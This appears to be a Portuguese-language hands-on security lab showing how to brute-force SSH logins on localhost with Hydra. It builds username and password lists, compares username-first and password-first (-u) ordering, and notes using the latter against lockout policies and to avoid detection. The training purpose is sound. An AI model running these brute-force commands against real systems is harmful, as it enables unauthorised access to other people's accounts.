Introdução
Neste laboratório, aprenderá como o Hydra itera através de nomes de utilizadores e palavras-passe durante um ataque SSH. Criará listas de nomes de utilizadores e palavras-passe e, em seguida, executará um ataque SSH padrão para observar o comportamento padrão do Hydra.
Primeiro, preparará os ficheiros usernames.txt e passwords.txt, contendo, respetivamente, listas de nomes de utilizadores e palavras-passe. Em seguida, executará um ataque SSH básico do Hydra utilizando estas listas para demonstrar como o Hydra tenta diferentes combinações. Finalmente, explorará o impacto da opção -u na ordem em que o Hydra tenta as combinações de nome de utilizador e palavra-passe.
Preparar Listas de Nomes de Utilizador e Senhas
Neste passo, criará dois ficheiros essenciais: uma lista de nomes de utilizador e uma lista de palavras-passe. Estas listas serão utilizadas pelo Hydra para tentar efetuar logins SSH. A criação destas listas permite-lhe testar sistematicamente várias combinações de nomes de utilizador e palavras-passe contra o seu alvo.
Primeiro, abra o seu terminal. Encontra-se atualmente no diretório /home/labex/project (também acessível como ~/project). Criará os ficheiros neste diretório.
Utilize o editor de texto nano para criar um ficheiro chamado usernames.txt:
nano ~/project/usernames.txt
Agora, adicione os seguintes nomes de utilizador ao ficheiro. Estes são exemplos; pode personalizá-los conforme necessário.
root
admin
test
user
ubuntu
Após adicionar o conteúdo, guarde o ficheiro pressionando Ctrl + O, depois Enter para confirmar o nome do ficheiro e, finalmente, Ctrl + X para sair do nano.
Em seguida, criará a lista de palavras-passe. Novamente, utilize nano para criar um ficheiro chamado passwords.txt:
nano ~/project/passwords.txt
Adicione as seguintes palavras-passe ao ficheiro. Lembre-se, estes são apenas exemplos.
password
123456
qwerty
secret
ubuntu
Guarde o ficheiro pressionando Ctrl + O, depois Enter para confirmar o nome do ficheiro e, finalmente, Ctrl + X para sair do nano.
Para verificar se os ficheiros foram criados corretamente, pode utilizar o comando cat para exibir o seu conteúdo.
Exiba o conteúdo de usernames.txt:
cat ~/project/usernames.txt
Deverá ver uma saída semelhante a esta:
root
admin
test
user
ubuntu
Analogamente, exiba o conteúdo de passwords.txt:
cat ~/project/passwords.txt
Deverá ver uma saída semelhante a esta:
password
123456
qwerty
secret
ubuntu
Estes ficheiros, usernames.txt e passwords.txt, estão agora prontos para serem utilizados com o Hydra nos passos seguintes.
Executar Ataque SSH Padrão
Neste passo, executará um ataque SSH básico utilizando o Hydra com as listas de nomes de utilizador e palavras-passe criadas no passo anterior. Isto demonstrará o comportamento padrão do Hydra de iterar através dos nomes de utilizador e palavras-passe.
A sintaxe básica do comando Hydra é:
hydra [options] <target> <service> [additional options]
hydra: O comando para invocar a ferramenta Hydra.[options]: Várias opções para personalizar o ataque, como especificar listas de nomes de utilizador e palavras-passe.<target>: O endereço IP ou nome de domínio do servidor SSH alvo. Neste laboratório, utilizará127.0.0.1(localhost) como alvo.<service>: O serviço a atacar (ex.:ssh,ftp,http). Neste caso, éssh.[additional options]: Opções específicas do serviço.
Agora, execute o ataque SSH padrão. Utilizará a opção -L para especificar a lista de nomes de utilizador, a opção -P para especificar a lista de palavras-passe e a opção -V para ver uma saída detalhada mostrando cada tentativa.
hydra -V -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh
Este comando instrui o Hydra a:
-V: Ativar o modo detalhado para mostrar cada tentativa de login.-L ~/project/usernames.txt: Utilizar o ficheirousernames.txtno diretório~/projectcomo lista de nomes de utilizador.-P ~/project/passwords.txt: Utilizar o ficheiropasswords.txtno diretório~/projectcomo lista de palavras-passe.127.0.0.1: Alvo do serviço SSH a correr no localhost.ssh: Especificar que está a atacar o serviço SSH.
Execute o comando no seu terminal. O Hydra tentará agora efetuar login no serviço SSH em 127.0.0.1 utilizando cada nome de utilizador em usernames.txt e cada palavra-passe em passwords.txt. Por defeito, o Hydra itera primeiro pelos nomes de utilizador, tentando cada palavra-passe para um único nome de utilizador antes de passar ao próximo nome de utilizador.
A saída mostrará as tentativas que estão a ser feitas. Verá informações detalhadas sobre cada tentativa de login. Uma vez que está a utilizar palavras-passe fracas e a visar o localhost, é possível que um login tenha sucesso, mas a maioria das tentativas irá falhar.
A saída será semelhante a esta (a saída exata pode variar):
Hydra vX.X (c) XXXX by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at YYYY-MM-DD HH:MM:SS
[DATA] max X tasks per X server, overall X tasks, X login tries (l:X/p:X), ~X try per task
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "root" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "123456" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "qwerty" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "secret" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "ubuntu" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - X of X [child X] (X/X)
...
Note como o Hydra tenta todas as palavras-passe para o utilizador "root" primeiro, depois passa para "admin" e assim sucessivamente. Este é o comportamento padrão.
Executar com -u para Iterar Senhas Primeiro
Neste passo, utilizará a opção -u com o Hydra para alterar a ordem em que ele tenta os logins. Por defeito, o Hydra itera primeiro pelos nomes de utilizador, tentando todas as palavras-passe para cada nome de utilizador antes de passar ao seguinte. A opção -u inverte este comportamento, fazendo com que o Hydra itere primeiro pelas palavras-passe, tentando cada palavra-passe para todos os nomes de utilizador antes de passar à palavra-passe seguinte.
Isto pode ser útil em situações em que se suspeita que uma palavra-passe comum está a ser utilizada em várias contas.
Para utilizar a opção -u, basta adicioná-la ao seu comando Hydra anterior. Também utilizará novamente a opção -V para ver as tentativas detalhadas.
hydra -u -V -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh
Este comando instrui o Hydra a:
-u: Iterar pelas palavras-passe primeiro.-V: Ativar o modo detalhado para mostrar cada tentativa de login.-L ~/project/usernames.txt: Utilizar o ficheirousernames.txtno diretório~/projectcomo lista de nomes de utilizador.-P ~/project/passwords.txt: Utilizar o ficheiropasswords.txtno diretório~/projectcomo lista de palavras-passe.127.0.0.1: Alvo do serviço SSH a correr no localhost.ssh: Especificar que está a atacar o serviço SSH.
Execute o comando no seu terminal. O Hydra tentará agora efetuar login no serviço SSH em 127.0.0.1. Desta vez, tentará a primeira palavra-passe em passwords.txt contra todos os nomes de utilizador em usernames.txt antes de passar à palavra-passe seguinte.
Observe a saída. Deverá notar que a ordem das tentativas é diferente do passo anterior. O Hydra agora tentará a mesma palavra-passe contra vários nomes de utilizador sequencialmente.
A saída será semelhante a esta (a saída exata pode variar):
Hydra vX.X (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at YYYY-MM-DD HH:MM:SS
[DATA] max X tasks per X server, overall X tasks, X login tries (l:X/p:X), ~X try per task
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "root" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "user" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "ubuntu" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "123456" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "123456" - X of X [child X] (X/X)
...
Note como o Hydra agora tenta "password" contra todos os nomes de utilizador primeiro, depois passa para "123456" para todos os nomes de utilizador e assim por diante. Este é o comportamento quando se utiliza a opção -u.
Comparando a saída deste comando com a saída do comando do passo anterior, pode ver claramente a diferença na ordem das tentativas de login. Isto pode ser útil para compreender como o Hydra funciona e para escolher a estratégia de ataque mais eficaz para uma determinada situação.
Analisar Padrões e Desempenho do Ataque
Neste passo, analisará as diferenças práticas entre os dois métodos de ataque e compreenderá quando cada abordagem pode ser mais eficaz. Também explorará como otimizar ataques Hydra com base em diferentes cenários.
Compreendendo a Diferença Estratégica
A escolha entre o modo padrão e o modo -u pode impactar significativamente a eficiência do ataque:
- Modo padrão (nome de utilizador primeiro): Melhor quando se suspeita que utilizadores específicos possam ter palavras-passe fracas.
- Modo palavra-passe primeiro (
-u): Melhor quando se suspeita que palavras-passe comuns são utilizadas em várias contas.
Vamos demonstrar isto com uma abordagem mais direcionada. Primeiro, crie um teste de teste mais pequeno e focado para ver claramente a diferença:
echo -e "admin\ntest" > ~/project/small_users.txt
echo -e "password\n123456" > ~/project/small_passwords.txt
Agora execute ambos os ataques com saída limitada para ver o padrão claramente:
Ataque padrão (nome de utilizador primeiro):
hydra -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh
A opção -t 1 limita o Hydra a usar apenas 1 tarefa de cada vez, tornando a sequência mais fácil de seguir.
Ataque palavra-passe primeiro:
hydra -u -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh
Análise de Desempenho
Agora vamos analisar o tempo e a eficiência. Crie um teste de tempo simples:
echo "Testing default mode timing..."
time hydra -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh > /dev/null 2>&1
echo "Testing -u mode timing..."
time hydra -u -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh > /dev/null 2>&1
Cenários de Aplicação no Mundo Real
Compreendendo quando utilizar cada modo:
Utilize o modo padrão quando:
- Possui informações sobre contas específicas de alto valor.
- Deseja testar rapidamente se contas de administrador têm palavras-passe fracas.
- Está a visar um pequeno número de utilizadores privilegiados.
Utilize o modo
-uquando:- Suspeita-se da reutilização de palavras-passe em várias contas.
- Possui uma lista de palavras-passe comuns de violações anteriores.
- Deseja encontrar qualquer conta com uma palavra-passe fraca comum.
Verificar Padrões de Ataque
Para ver claramente a diferença nos padrões de ataque, vamos criar uma demonstração simples:
echo "=== Padrão de Modo Padrão ==="
hydra -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh 2>&1 | grep "ATTEMPT" | head -4
echo "=== Padrão de Modo Palavra-Passe Primeiro ==="
hydra -u -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh 2>&1 | grep "ATTEMPT" | head -4
Isto mostrará claramente:
- Modo padrão: admin/password, admin/123456, test/password, test/123456
- Modo palavra-passe primeiro: admin/password, test/password, admin/123456, test/123456
A diferença torna-se crucial quando se lida com políticas de bloqueio de contas ou quando se tenta evitar a deteção espalhando tentativas por várias contas.
Resumo
Neste laboratório, aprendeu a preparar os ficheiros necessários para um ataque SSH com Hydra, criando listas de nomes de utilizador e palavras-passe no diretório ~/project. Executou ataques SSH usando o Hydra com saída detalhada para observar as tentativas de ataque detalhadas e compreender o comportamento de iteração do Hydra.
Explorou a diferença crucial entre o modo padrão do Hydra (iteração nome de utilizador primeiro) e a opção -u (iteração palavra-passe primeiro). Através da prática, descobriu:
- Modo padrão: Tenta todas as palavras-passe para cada nome de utilizador antes de passar ao próximo nome de utilizador - ideal para visar contas específicas de alto valor.
- Modo palavra-passe primeiro (
-u): Tenta cada palavra-passe contra todos os nomes de utilizador antes de passar à próxima palavra-passe - melhor para encontrar contas com palavras-passe fracas comuns.
Também aprendeu considerações práticas para escolher entre estes modos, incluindo implicações de desempenho e cenários do mundo real em que cada abordagem é mais eficaz. Este conhecimento permite otimizar as suas estratégias de teste de penetração com base no ambiente e objetivos específicos do alvo.
O laboratório demonstrou como diferentes padrões de ataque podem ser cruciais quando se lida com políticas de bloqueio de contas ou quando se tenta evitar a deteção distribuindo tentativas de login por várias contas.


